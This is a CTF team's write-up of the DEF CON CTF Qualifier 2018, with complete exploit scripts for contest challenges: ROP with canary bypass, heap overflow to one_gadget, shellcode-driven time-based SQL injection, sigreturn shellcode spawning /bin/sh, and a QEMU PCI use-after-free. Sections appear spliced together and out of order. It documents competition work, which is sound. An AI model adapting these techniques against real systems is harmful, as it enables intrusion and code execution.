```ori = 'Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!'sp = ori.split('!')print repr(''.join(chr(97 + len(s) - 1) for s in sp))```
### ddtek: Preview
#### reverse
* Use `IDA pro` to decompile the binary.* At first galance, we cannot get any useful information.* Use `gdb` and find out that it will mmap a new area for `real program`* There is a function which will do some xor stuff on `0x602000` and mmap an memory area for it. That is real program* In `gdb`, you can do this `dump binary memory result.bin 0x602000 0x605000`
* Now we have the real program.
#### exploit1. Use the string "HEAL /proc/self/maps" to get the code address and /lib/x86_64-linux-gnu/ld-2.23.so address2. canary is combined by code address and /lib/x86_64-linux-gnu/ld-2.23.so address 3. make the program stack overflow, bypass the canary, and use ROP to get shell
```python=from pwn import *import sysimport timeimport randomhost = 'cee810fa.quals2018.oooverflow.io'port = 31337
binary = "./preview"context.binary = binaryelf = ELF(binary)try: libc = ELF("./libc.so.6") log.success("libc load success") system_off = libc.symbols.system log.success("system_off = "+hex(system_off))except: log.failure("libc not found !")
if len(sys.argv) == 1: r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."}) #r = remote("127.0.0.1" ,4444)
else: r = remote(host ,port) r.recvuntil("Challenge: ") Challenge = r.recvuntil("\n")[:-1] r.recvuntil("n:") n = r.recvuntil("\n")[:-1] r.recvuntil("Solution:") p = process(["/usr/bin/python", "./pow.py",Challenge ,n ]) print "pow..." p.recvuntil("Solution: ") ans = p.recvuntil(" ")[:-1] r.sendline(ans)
if __name__ == '__main__': print "start" r.recvuntil("Standing by for your requests\n") r.sendline("HEAD /proc/self/maps\x00" + "A"*0x42) r.recvuntil("Here's your preview:\n") data = r.recvuntil("\n") if "/lib/x86_64-linux-gnu/ld-2" in data: ld_addr = data[:data.find("-")] r.recvuntil("\n") r.recvuntil("\n") data = r.recvuntil("\n") if "r-xp" in data: code = data[:data.find('-')] else: data = r.recvuntil("\n") code = data[:data.find('-')] elif "r-xp" in data: code = data[:data.find('-')] r.recvuntil("\n") r.recvuntil("\n") data = r.recvuntil("\n") ld_addr = data[:data.find("-")] ld_addr = int(ld_addr,16) code = int(code,16) pop_rdi = 0x00000000000010b3 + code pop_rsi_1 = 0x00000000000010b1 + code puts_got = code + 0x202020 puts_plt = code + 0x0009E0 read_plt = code + 0x000A60 pop_rsp_3 = code + 0x00000000000010ad print "code =", hex(code) print "ld_addr =" ,hex(ld_addr) canary = (code/0x1000 + ld_addr/0x1000 * 0x10000000)*0x100 print "canary =" , hex(canary) raw_input("@") r.sendline("A"*88 + p64(canary) +"A"*8+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rdi) + p64(0) + p64(pop_rsi_1) + p64(code + 0x0202800) + p64(0) + p64(read_plt) + p64(pop_rsp_3) + p64(code + 0x0202800)) r.recvuntil("Malformed request\n")
puts = u64(r.recv(6).ljust(8,"\x00")) libc.address = puts - libc.symbols['puts'] print "libc.address =" , hex(libc.address) r.sendline("A"*24 + p64(pop_rdi) + p64(code + 0x0202800+0x30) + p64(libc.symbols['system']) + "/bin/sh\x00")
r.interactive() ```
|
#### TL;DR
- Buffer overflow on the heap
- Overwrite a `std::string`'s buffer pointer to leak binary's and libc's base
- Overwrite a vtable pointer to call a one-shot gadget and get a shell
For details, check out [the writeup](https://github.com/LevitatingLion/ctf-writeups/blob/master/defcon_quals_2018/pwn_124_its_a_me/README.md). |
# DEF CON CTF Qualifier 2018
Written by BFS
BFS consists of four CTF teams form Taiwan: Balsn, Bamboofox, DoubleSigma, KerKerYuan.
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180512-defconctfqual/) of this writeup.**
- [DEF CON CTF Qualifier 2018](#def-con-ctf-qualifier-2018) - [Amuse Bouche](#amuse-bouche) - [ELF Crumble](#elf-crumble) - [You Already Know - warmup](#you-already-know---warmup) - [Easy Pisy - crypto, web](#easy-pisy---crypto-web) - [babypwn1805 - pwn](#babypwn1805---pwn) - [sbva - Web](#sbva---web) - [Appetizers](#appetizers) - [It's-a me!](#its-a-me) - [shellql](#shellql) - [flagsifier - Reverse](#flagsifier---reverse) - [Behavior](#behavior) - [Note Oriented Programming](#note-oriented-programming) - [From The Grill](#from-the-grill) - [elastic cloud compute (memory) corruption](#elastic-cloud-compute-memory-corruption) - [Race Wars](#race-wars) - [Say Hi!](#say-hi) - [exzendtential-crisis (unsolved)](#exzendtential-crisis-unsolved) - [Guest Chefs](#guest-chefs) - [PHP Eval White-List](#php-eval-white-list) - [ghettohackers: Throwback](#ghettohackers-throwback) - [ddtek: Preview](#ddtek-preview) - [reverse](#reverse) - [exploit](#exploit)
## Amuse Bouche
### ELF CrumbleOriginal binary in range 0x05ad ~ 0x08d3 is filled with `X`. Search through all 8! permutation of fragments to get the flag.
### You Already Know - warmup* Open the problem -> F12 -> Network -> Reopen the problem -> See the flag. `OOO{Sometimes, the answer is just staring you in the face. We have all been there}`
### Easy Pisy - crypto, web
- Service
* First service : Server will Recognized pdf input via OCR and sign `(by openssl_sign($data, $signature, $privkey)`, but it will reject to sign on EXECUTE command)
* Second one : Give the signed value and pdf, this service will execute the command(extracted by ocr) if the signed verify.
- We found that this function will `sha1(data)` before signing.
Therefore, draw two command on picture,and put them into the pdf, Google released last year, to get two pdf with sha1-collision.
1. send the picutre 1 (`without EXECUTE`) to first service to `get the signature`
2. pass this signature and sha1-collision pdf ( with `EXECUTE cat<flag`) to get the flag.
[python script](https://github.com/sonickun/sha1-collider/blob/master/collider.py)
### babypwn1805 - pwn* Overwrite the pointer of program name, and trigger `SSP` -> leak information.* Get serveral `libc`.* Overwite `GOT read` with `onegadget` -> with probability 1/16 (correct libc).* `/opt/ctf/babypwn/home/flag`.* `OOO{to_know_the_libc_you_must_become_the_libc}`
```python=#!/usr/bin/env pythonfrom pwn import *import sysimport structimport hashlibimport randomfrom threading import Timer
# OOO{to_know_the_libc_you_must_become_the_libc}
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
def hit(): cmd = 'id;LD_PRELOAD='';' cmd += 'cat /opt/ctf/babypwn/home/flag;' cmd += 'ls -al /opt/ctf/babypwn/home/;' cmd += 'source /opt/ctf/babypwn/flag.txt 2>&1;' #cmd += 'python -c \'import pty; pty.spawn("/bin/bash")\'' y.sendline( cmd ) print y.recv( 2048 )
host , port = 'e4771e24.quals2018.oooverflow.io' , 31337y = remote( host , port )
y.recvuntil( ': ' )challenge = y.recvline().strip()y.recvuntil( ': ' )n = int( y.recvline() )y.sendlineafter( ':' , str( solve_pow(challenge, n) ) )
success( 'Go' )
t = 0.3y.recvuntil( 'Go\n' )
for i in xrange( 0x10000 ): y.send( p64( 0xffffffffffffffc8 ) ) p = 0xae77 y.send( p16( p ) ) t = Timer(1.0, hit) t.start() y.recvuntil( 'Go' , timeout=1 ) t.cancel()```
### sbva - Web
This is one of the easiest challenges in the comptition.
First, we are given the admin's username and password to login, but the server will return `Incompatible browser detected`. How does the server derect our browser? A quick guess is through the `User-Agent` header. So what if the header does not contain the user agent string?
``` sh$ curl 'http://0da57cd5.quals2018.oooverflow.io/login.php' -d '[email protected]&password=admin' -H 'User-Agent:'`
<br />Notice: Undefined index: HTTP_USER_AGENT in /var/www/html/browsertest.php on line 3
<html> <style scoped> h1 {color:red;} p {color:blue;} </style> <video id="v" autoplay> </video> <script> if (navigator.battery.charging) { console.log("Device is charging.") } </script></html>```
A PHP error occurs above, so the server actually infers our browser through the user agent header. However, there are various user-agent. It's sorts of silly to try each of them since the server might detect the version number as well.
In order to reduce possible user agent, [navigator.battery](https://developer.mozilla.org/en-US/docs/Web/API/Navigator/battery) in javascript is an important clue. It seems that only Chrome and Firefox support this.
Let's try Firefox with different version number first. The Firefox user agent spcification is [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox), though I'm just blindly trying the possibile version number without following the specification.
```python#!/usr/bin/env python3# Python 3.6.5import requestsfrom itertools import product
s = requests.session() for i, j in product(range(0, 6), range(0, 51)): agent = f'Mozilla/{i}.0 (Windows NT 10.0; WOW64; rv:{j}.0) Gecko/20100101 Firefox/{j}.0' headers={'User-Agent': agent} r = s.post('http://0da57cd5.quals2018.oooverflow.io/login.php', data=dict(username='[email protected]', password='admin'), headers=headers) print(r.text, i, j)```
Surprisingly, we get the flag when the user agent is `Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0`.
Flag: `OOO{0ld@dm1nbr0wser1sth30nlyw@y}`
## Appetizers
### It's-a me!
* When odering pizza, Mario checks whether the pineapple Emoji Unicode (\xF0\x9F\x8D\x8D) exists for each ingridient, so we can split the Unicode into two ingridients ('\xF0\x90\xF0\x9F' and '\x8D\x8D') to bypass Mario's check* After cooking a pizza with fake pinapple (’\xF0\x90\xF0\x9F’ and ‘\x8D\x8D’), it will trigger a heap overflow vulnerability.* By ordering and cooking some pizzas between the ordering and cooking of the fake pinapple pizza, we can make the heap overflow overwrite the pointer to the ingredient. Since at first we don't have any addresses and the read function appends null byte at the end, we make it so that the pointer to the ingredient with LSB overflowed by 0x00 points to a heap address. Cook the pizza and we leak heap address.* We use the same way to leak libc address, but since now we have heap address, we don't have to partial overwrite the pointer to the ingridient with null byte anymore.* The way to hijack control flow is similar too. There is a pointer to a function pointer on each pizza cooked, which is call when they are admired. We overflow that with one_gadget.* `OOO{cr1m1n4l5_5h0uld_n07_b3_r3w4rd3d_w17h_fl4gs}`
```python#!/usr/bin/env python2
from pwn import *from IPython import embedfrom subprocess import check_outputimport re
context.arch = 'amd64'
r = remote('83b1db91.quals2018.oooverflow.io', 31337)
def PoW(): r.recvuntil('Challenge: ') x = r.recvline().strip() r.recvuntil('n: ') xx = r.recvline().strip() x = subprocess.check_output(['./pow.py', x, xx]) xx = re.findall('Solution: (.*) ->', x)[0] r.sendlineafter('Solution:', xx)
PoW()
def new(name): r.sendlineafter('Choice:', 'N') r.sendlineafter('name?', name)
def login(name): r.sendlineafter('Choice:', 'L') r.sendlineafter('name?', name)
def order(pn, ign, igs): r.sendlineafter('Choice:', 'O') r.sendlineafter('pizzas?', str(pn)) for i in range(pn): r.sendlineafter('ingredients?', str(ign[i])) for j in range(ign[i]): r.sendlineafter('ingridient', flat(igs[i][j]))
def cook(decl): r.sendlineafter('Choice:', 'C') r.sendlineafter('explain', decl)
def admire(): r.sendlineafter('Choice:', 'A')
def leave(): r.sendlineafter('Choice:', 'L')
def please(payload): r.sendlineafter('Choice:', 'P') r.sendlineafter('yourself:', payload)
pineapple = 0x8d8d9ff0tomato = 0x858d9ff0chicken = 0x94909ff0banana = 0x8c8d9ff0poo = 0xa9929ff0
new('A')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()
new('B'*0x30)order(1, [1], [[tomato]])leave()
login('B'*0x30)cook('a'*290)leave()
new('C'*0x50)n = 4order(1, [n], [['a'*20]*n])leave()
login('A')cook('a')please('C'*32)
login('C'*0x50)cook('a')x = r.recvuntil('USER MENU')xx = re.findall('BadPizza: (.*)aaaaaaaaaaaaaaaaaaaaa', x)[0]heap = u64(xx.ljust(8, '\x00'))-0x11e30print 'heap:', hex(heap)
# exaust heapleave()new('D')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()for i in range(9): new(chr(0x45+i)) order(1, [1], [[tomato]]) leave()
new('N')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()
new('O'*0x30)n = 4order(1, [n], [['a'*16]*n])leave()
login('M')cook('a'*290)leave()
login('N')cook('a')#raw_input("@3")please('C'*24+flat( 0x91, heap+0x132c8, 0x10, 0x10, 0, heap+0x132c8,)+'\x10')
login('O'*0x30)cook('a')x = r.recvuntil('USER MENU')xx = re.findall('BadPizza: (.*)aaaaaaaaaaaaaaaaaaaaa', x)[0][:6]libc = u64(xx.ljust(8, '\x00'))-0x3c4b78print 'libc:', hex(libc)system = libc+0x45390magic = libc+0xf1147leave()
login('D')cook('a')#raw_input("@2")please(flat( [0]*3, 0x21, heap+0x138f0, 0, 0, 0x41, heap+0x138f0+0x10, heap+0x13930, magic,))login('O'*0x30)admire()
r.interactive()
```
### shellql
* We can upload our shellcode and it will be executed* They set prctl(22, 1LL); so we can only trigger `read` `write` `exit`* We can communicate with mysql via fd 4* According to [this](https://dev.mysql.com/doc/internals/en/com-query.html), we can forge a correct mysql packet* However, we cannot read from mysql* Time to use time-based attack`SELECT 1 from flag where (select substring(flag,1,4) from flag) = "OOO{" and SLEEP(10);`
* The exploit script:
```python# coding: utf-8from pwn import *import requestsimport stringimport hashlibcontext.arch='amd64'def mdd5(ss): print ss a=hashlib.md5() a.update(ss) return a.hexdigest()def run(code, timeout=1): s = asm(code) assert( '\0' not in s and len(s) < 1000) try: req = requests.post('http://b9d6d408.quals2018.oooverflow.io/cgi-bin/index.php', data={ 'shell': s }, timeout=timeout) except requests.exceptions.ReadTimeout: print ('Timeout') return 1 else: return 0
def qqq(payload): lenn=p32(len(payload)+1)[0] pp=lenn+'\x00\x00\x00\x03'+payload a=run(shellcraft.write(4, pp, len(pp)) + 'xor rax, rax;' + shellcraft.read(4, 'esp', 4) + 'inc rax; cmp rax, 1; jge .+0; ret', timeout=4) return a
flag=""for i in range(70): for j in "y SQL"+string.printable: if qqq('SELECT 1 from flag where (select substring(flag,1,'+str(len(flag)+1)+') from flag) = "'+flag+j+'" and SLEEP(10);') == 1: flag+=j print flag break
flag2="OOO{"for i in range(4,70): if qqq('SELECT 1 from flag where (select md5(substring(flag,'+str(i)+',1)) from flag) = "'+mdd5(flag[i].upper())+'" and SLEEP(10);') == 1: flag2+=flag[i].upper() else: flag2+=flag[i].lower() print flag2
## flag is OOO{shellcode and webshell is old news, get with the times my friend!}```
### flagsifier - Reverse* Part 1 ##### Behavior * Input is composed of 38 28x28 handwritten English characters. * Random combination of characters will be predicted as class 3. * Repeat a character 38 times will be predicted as class 14~39, which is class A~Z. * Using gradient ascent on input image will not produce readable picture. When we add a constraint that all 38 characters should be the same, class 14~39 can generate input with score 1, but failed on class 1~13. Implies that class 1~13 is consists of multiple characters. * Start with random combination of characters, we use Simulated Annealing to replace characters in input image. We can generate input image for each class with very high score. The images is not unique, but will be similar to ground truth. * Class 0 starts with a lot of `O` that isn't like a flag. * Class 1 is `OOOTHISISA.....MESSAGETOWASTEYOURTIME` which is a fake flag. * Class 2 starts with `OOO`. * Class 3~13 doesn't start with `OOO`. * We guessed Class 2 is true flag, so we generate a lot of possible input images to get probabilities of each character at each position. * Code:
```python#!/usr/bin/python3import sys
dim = int(sys.argv[1])
flag = '......................................'
reset = False # Change to False when known part is long enough# flag = 'OOOOOOOOOOOOOOOOI.....................' # dim = 0# flag = 'OOOOTHISISA.....MESSAGETOWASTEYOURTIME' # dim = 1flag = 'OOO.............INTELLIGENCEISREQUIRED' # dim = 2
import numpy as npfrom PIL import Imageimport osfrom tqdm import tqdm, trangeimport randomfrom keras.models import load_model, Model
model = load_model('model.h5')model = Model(input=model.input, output=model.layers[-2].output)
data = [np.asarray(Image.open('sample_%d.png' % i)).reshape(28, 1064).astype(np.float) for i in range(10)]data = [im for d in data for im in np.split(d, 38, axis=1)]char = ''.join([ 'RUNNEISOSTRICHESOWNINGMUSSEDPURIMSCIUI', 'MOLDERINGIINTELSDEDICINGCOYNESSDEFIECT', 'AMADOFIFESINSTIIIINGGREEDIIVDISIOCATIN', 'HAMIETSENSITIZINGNARRATIVERECAPTURINGU', 'EIECTROENCEPHAIOGRAMSPALATECONDOIESPEN', 'SCHWINNUFAMANAGEABLECORKSSEMICIRCIESSH', 'BENEDICTTURGIDITYDSYCHESPHANTASMAGORIA', 'TRUINGAIKALOIDSQUEILRETROFITBIEARIESTW', 'KINGFISHERCOMMONERSUERIFIESHORNETAUSTI', 'LIQUORHEMSTITCHESRESPITEACORNSGOALREDI',])data = list(zip(data, char))
def softmax(x): """Compute softmax values for each sets of scores in x.""" e_x = np.exp(x - np.max(x)) return e_x / e_x.sum()
for z in trange(100): if reset or z == 0: img, text = zip(*random.sample(data, 38)) img = np.concatenate(img, 1).reshape(1, 28, 1064, 1) text = list(text) r = model.predict([img])[0] score = r[dim] bar = trange(1000) bar.desc = '%s: %.1f ( %4d )' % (''.join(text), softmax(r)[dim], score) for i in bar: cur = img.copy() while True: idx = random.randrange(0, 38) im, c = random.sample(data, 1)[0] if text[idx] != flag[idx] or flag[idx] == c: break cur[0,:, idx*28:(idx+1)*28,0] = im r = model.predict([cur])[0] s = r[dim] if ( text[idx] != flag[idx] and flag[idx] == c ) or s > score or random.random() < (100/(i+100 + z *10)) ** 4: text[idx] = c bar.desc = '%s: %.1f ( %4d )' % (''.join(text), softmax(r)[dim], score) score = s img = cur tqdm.write(''.join(text)) bar.close()```
* Part 2 * Use dictionary and trie to find all the possible sentences. * Dictionary: https://raw.githubusercontent.com/first20hours/google-10000-english/master/google-10000-english.txt * Remember to remove the useless words that length is in range 1~3. * Code:
```C++ #include<bits/stdc++.h> #define f first #define s second using namespace std; //typedef pair<int,int>par; typedef pair<double,double>par; int nod[1000005][26],id=2; bool ok[1000005]; string ans; vector<int>ve[38]; void F(int nw,int now){ if(nw==38){ if(now==1)cout<<ans<<endl; return ; } for(int x:ve[nw]){ if(!nod[now][x])continue; ans.push_back('A'+x); F(nw+1,nod[now][x]); if(ok[nod[now][x]]){ ans.push_back(' '); F(nw+1,1); ans.pop_back(); } ans.pop_back(); } } int main(){ string s; int count=0; while(cin>>s){ if(s=="0")break; if(++count>1000&&s.length()<=3)continue; int now=1; for(char &c:s){ c|=32; if(!nod[now][c-'a']) nod[now][c-'a']=id++; now=nod[now][c-'a']; } ok[now]=1; } while(cin>>s){ if(s=="0")break; for(char &c:s) c|=32; for(int i=0;i<38;i++) ve[i].push_back(s[i]-'a'); } for(int i=0;i<38;i++) sort(ve[i].begin(),ve[i].end()), ve[i].resize(unique(ve[i].begin(),ve[i].end())-ve[i].begin()); F(0,1); //for(int i=0;i<38;i++) return 0; } ```
* input
``` [The Dictionary] 0 OOOTOYEUUTHTNTICINTELLIGENCEISREQUIRED OOOTOYEGUTHTNTICINTELLIGENCEISREQUIRED OOOIOYCUUTUCNTICINTELLIGENCEISREQUIRED OOOSOYEUUCUTNTICINTELLIGENCEISREQUIRED OOOTOYCGLCHENTICINTELLIGENCEISREQUIRED OOOTOYCUUCUCNTUCINTELLIGENCEISREQUIRED OOOIOYEULTUTNTICINTELLIGENCEISREQUIRED OOOSOYCULTUCNTICINTELLIGENCEISREQUIRED OOOTOYEAUTUTWCICINTELLIGENCEISREQUIRED OOOSOYEOUTUTNTICINTELLIGENCEISREQUIRED OOOSOYCGHTUENTICINTELLIGENCEISREQUIRED OOOTOYCGLTYCNTICINTELLIGENCEISREQUIRED OOOTOYEUUTUTNTICINTELLIGENCEISREQUIRED OOOTOYEAUTUTNCICINTELLIGENCEISREQUIRED OOOSOYCUUTHCNTIOINTELLIGENCEISREQUIRED OOOSOORONTNCNTIOINTELLIGENCEISREQUIRED OOOSOMCSHTGCWTICINTELLIGENCEISREQUIRED OOOTOMEOGTSTNTITINTELLIGENCEISREQUIRED OOOIOOEHUTUTNTITINTELLIGENCEISREQUIRED OOOINOEUUTATHTICINTELLIGENCEISREQUIRED OOOTCMCSNSATNTICINTELLIGENCEISREQUIRED OOOTGWRSUTNCNTICINTELLIGENCEISREQUIRED OOOSOQEAUIUCWSICINTELLIGENCEISREQUIRED OOOTOOECHIUCNTIGINTELLIGENCEISREQUIRED OOOTOWEGHSOTHTIEINTELLIGENCEISREQUIRED OOOSOMEGNTOENTILINTELLIGENCEISREQUIRED OOOSCOCGNTHTNTILINTELLIGENCEISREQUIRED OOOSONEGNTNCNTICINTELLIGENCEISREQUIRED OOOSCOCYNTOTUTICINTELLIGENCEISREQUIRED OOOSDUEONCOTLTIOINTELLIGENCEISREQUIRED OOOTDUCONTNTLTIDINTELLIGENCEISREQUIRED OOOTCMCGNCNTNTITINTELLIGENCEISREQUIRED OOOTQYFGNTATNTUEINTELLIGENCEISREQUIRED OOOSDUECLTUTNTICINTELLIGENCEISREQUIRED OOOTOWCUNTUTNTILINTELIIGENCEISREOUIRED OOOTOMSGUTHENTICINTELLIGENCEISREOUIRED OOOTOUTGLTOENCUCINTELLIGENCEISREQUIRED OOOTOUEUUTNENTICINTELLIGENCEISREQUIRED OOOTOMEGUTOENCICINTELLIGENCEISREQUIRED OOOTONEGLTUCNTIOINTELLIGENCEISREQUIRED OOOTOOEANTSENTICINTELLIGENCEISREQUIRED OOOTOUEUUTUELIICINTELLIGENCEISREQUIRED OOOTOMCAUTYENCICINTELLIGENCEISREQUIRED OOOTOYCCNTYTWTICINTELLIGENCEISREQUIRED OOOTOOCANCUTNTICINTELLIGENCEISREQUIRED OOOTOMEINIHENTICINTELLIGENCEISREQUIRED OOOTOYEUNTYTNTICINTELLIGENCEISREQUIRED OOOTOOEUUTHCNTICINTELLIGENCEISREQUIRED OOOTOMCULTUTNTIOINTELLIGENCEISREQUIRED OOOTOMEYNTUENTICINTELLIGENCEISREQUIRED OOOYOMEUMTURMIJCINTELLIGENCEISREQUIRED OOOIDMEUMTURWYJCINTELLIGENCEISREQUIRED OOOLDMEUMTURWYLCINTELLIGENCEISREQUIRED 0 ``` * Flag: `OOOSOMEAUTHENTICINTELLIGENCEISREQUIRED`
### Note Oriented Programming* Setup the value on the stack and call sys_sigreturn* After that, eax = 0x3 ebx=0x0 ecx=0x6060654f edx=0x4f4f4f4f cs=0x23 ss=0x2b ds=0x2b* Now eip is 0x60606565 pointer to "int 0x80" to call sys_read* Then, write shellcode on the 0x6060654f to get shell
```python=from __future__ import print_functionimport sysimport structimport hashlibfrom pwn import *# inspired by C3CTF's POW
table = ['A' , 'A#' , 'B' , 'C' , 'C#' , 'D' , 'D#' , 'E' , 'F' , 'F#' , 'G' , 'G#']
def val(x): a = table.index(x[:-1])*1.0 b = float(x[-1]) return (2.0**(b+a/12.0))*27.5
cmd = ["F9","G0"]*0xecmd += ["G9","G0"]*0x40cmd += ["A2","G0","A0","G0"]cmd += ["G0","G0"]*0xbcmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"]cmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"]*0x17cmd += ["G9","G0"]*0x6cmd += ["A2","F8"] cmd += ["A0","G0"]cmd += ["A4","A9","E0","A4","D9","E0"]cmd += ["A0","G1"] cmd += ["A0","G2"] cmd += ["A4","A9","E0","A4","D9","E0","A2","F8"]cmd += ["A4","A9","E0","A4","B9","E0"] cmd += ["A0","G3"] cmd += ["A4","A9","E0","A4","B9","E0"] cmd += ["A0","G4"] cmd += ["A0","G5"] cmd += ["A0","G6"] cmd += ["G9","G0"]*6cmd += ["G0","G0"]*8 cmd += ["G9","G0"]cmd += ["A2","F8"]cmd += ["A0","G0"]cmd += ["A0","G1"] cmd += ["A4","A9","E0","A4","D9","E0"] cmd += ["A0","G2"] cmd += ["A0","G3"]cmd += ["A4","A9","E0","A4","D9","E0","A2","F9","A2","F2","A4","A9","E0","A4","F9","E0"]cmd += ["A0","G4"]cmd += ["A2","F9","A2","F2","A4","A9","E0","A4","F9","E0","A2","F8"] cmd += ["G9","G0"]*4cmd += ["G0","G0"]*0xbcmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"] cmd += ["A2","F2","A4","A9","E0","A4","G9","E0"] cmd += ["G0","G0"]*0xccmd += ["F9","G0"]*0x7 cmd += ["A2","F8","A4","A9","E0","A4","B9","E0","G2","G0"]cmd += ["D9","G0"]*(0x70-0x1f)+["D#7"]*0x1f
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
if __name__ == '__main__': r = remote("4e6b5b46.quals2018.oooverflow.io",31337) r.recvuntil("Challenge: ") challenge = r.recvline()[:-1] r.recvuntil("n: ") n = int(r.recvline()[:-1]) print('Solving challenge: "{}", n: {}'.format(challenge, n))
solution = solve_pow(challenge, n) print('Solution: {} -> {}'.format(solution, pow_hash(challenge, solution))) r.sendlineafter("Solution:",str(solution))
for c in cmd: r.send(p16(val(c)))
r.send(p16(0x0))
payload = "\x90"*0x18 payload += asm(""" mov esp,0x40404a00 push 0x0068732f push 0x6e69622f mov eax,0xb mov ebx,esp xor ecx,ecx xor edx,edx int 0x80 """) r.send(payload) r.interactive()
```## From The Grill
### elastic cloud compute (memory) corruption
* It will use qemu-system-x86_64 to boot a vm* It tells us, we need to do something with PCI device* Then I found this [writeup](https://kitctf.de/writeups/hitb2017/babyqemu)* Now we know that we need to exploit via `/sys/devices/pci0000:00/0000:00:04.0/resource0`* Decompile qemu-system-x86_64 and look for mmio read write function.* I only leveraged write funtion* There is a buffer which is located at `0x1317940` and three kinds of operations* You can `malloc` `free` `write` some chunks. And all the chunk will be on that buffer* I list the write function here:
```cvoid __fastcall OOO_mmio_write(__int64 a1, __int64 offset, __int64 value, unsigned int a4){ unsigned int v4; // eax@1 char n[12]; // [sp+4h] [bp-3Ch]@1 __int64 v6; // [sp+10h] [bp-30h]@1 __int64 v7; // [sp+18h] [bp-28h]@1 __int16 v8; // [sp+22h] [bp-1Eh]@11 int i; // [sp+24h] [bp-1Ch]@5 unsigned int v10; // [sp+28h] [bp-18h]@1 unsigned int v11; // [sp+2Ch] [bp-14h]@4 unsigned int v12; // [sp+34h] [bp-Ch]@11 __int64 v13; // [sp+38h] [bp-8h]@1
v7 = a1; v6 = offset; *(_QWORD *)&n[4] = value; v13 = a1; v10 = ((unsigned int)a2 & 0xF00000) >> 20; v4 = ((unsigned int)a2 & 0xF00000) >> 20; if ( v4 == 1 ) { free(*(&qword_1317940 + (((unsigned int)v6 & 0xF0000) >> 16))); } else if ( v4 == 2 ) { v12 = ((unsigned int)v6 & 0xF0000) >> 16; v8 = v6; memcpy((char *)*(&qword_1317940 + (signed int)v12) + (signed __int16)v6, &n[4], a4); } else if ( !v4 ) { v11 = ((unsigned int)v6 & 0xF0000) >> 16; if ( v11 == 15 ) { for ( i = 0; i <= 14; ++i ) *(&qword_1317940 + i) = malloc(8LL * *(_QWORD *)&n[4]); } else { *(&qword_1317940 + (signed int)v11) = malloc(8LL * *(_QWORD *)&n[4]); } }}```
* The operation will be determined by IO offset. When your write offset is 0xabXXXX. * If a==1, then it will trigger free operation. * If a==2, then it will trigger write operation.* Otherwise, it will trigger malloc.* And b indicate the chunk offset on 0x1317940* The value will be the chunk size or the value written on the chunk* XXXX will be the offset on the chunk* There is a UAF vulnerabilty!! You can overwrite freed chunk to launch fastbin attack.* We can forge a fake chunk on the 0x1317940. then we can write 0x1317940. It also means that we have an arbitrary write.* We can overwrite GOT to hijack control flow* There is a magic function which is located at 0x6e65f9. It will triger system("cat ./flag")* Use GOT-hijacking then you can run that magic function and get the flag* Unfortunately we cannot upload a binary on remote vm, becasue the vm has no network connection. We can base64 encode our binary and send it to the vm. But the binary needs to be small enough, or you cannot send the whole binary because of network conditon.* So I write some shellcode for exploit.* The shellcode:
```nasmsection .data msg db "/sys/devices/pci0000:00/0000:00:04.0/resource0"section .text global _start_start: mov rax, 2 mov rdi, msg mov rsi, 2 mov rdx, 0 syscall mov rdi, 0 mov rsi, 0x1000000 mov rdx, 3 mov r10, 1 mov r8, rax mov r9, 0 mov rax,9 syscall mov rcx, rax mov WORD [rax+0x20000],0xc # malloc a chunk on 0x1317940+0x8*2 mov BYTE [rax+0x120000],0xc # free the chunk on 0x1317940+0x8*2 mov DWORD [rax+0x220000],0x131794d # overwrite the fd on 0x1317940+0x8*2 mov DWORD [rax+0x220004],0x0 # mov BYTE [rax+0x10000],0xc # malloc once mov BYTE [rax+0x10000],0xc # malloc twice , now we have a chunk at 0x131794d mov DWORD [rax+0x210000],0xa0000000 # forge a fake chunk address on 0x1317960 and the address will be free got (0x11301a0) mov DWORD [rax+0x210004],0x11301 # mov DWORD [rax+0x240000],0x6e65f9 # Overwrite free got. The new address will trigger system("cat ./flag") mov DWORD [rax+0x240004],0x0 # mov DWORD [rax+0x120000],0x0 # Trigger free and get the flag !! mov rax, 60 xor rdi, rdi syscall# nasm -felf64 a.asm -o a.o && ld a.o && base64 a.out > shellcode```* And the code to send shellcode:
```pythonimport sysimport structimport hashlibfrom pwn import *
# inspired by C3CTF's POW
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
r=remote("11d9f496.quals2018.oooverflow.io",31337)r.recvuntil("Challenge:")cha=r.recvline().strip("\n")r.recvuntil("n:")n=r.recvline().strip("\n")
solution = solve_pow(cha[1:], int(n))
r.sendline(str(solution))r.recvuntil("/ #")f=open("shellcode")for i in f.readlines(): r.sendline('echo "'+i.strip('\n')+'" >> 1234')r.sendline("base64 -d 1234 > bb")r.sendline("chmod +x ./bb")r.sendline("./bb")r.interactive()# The flag is OOO{did you know that the cloud is safe}```
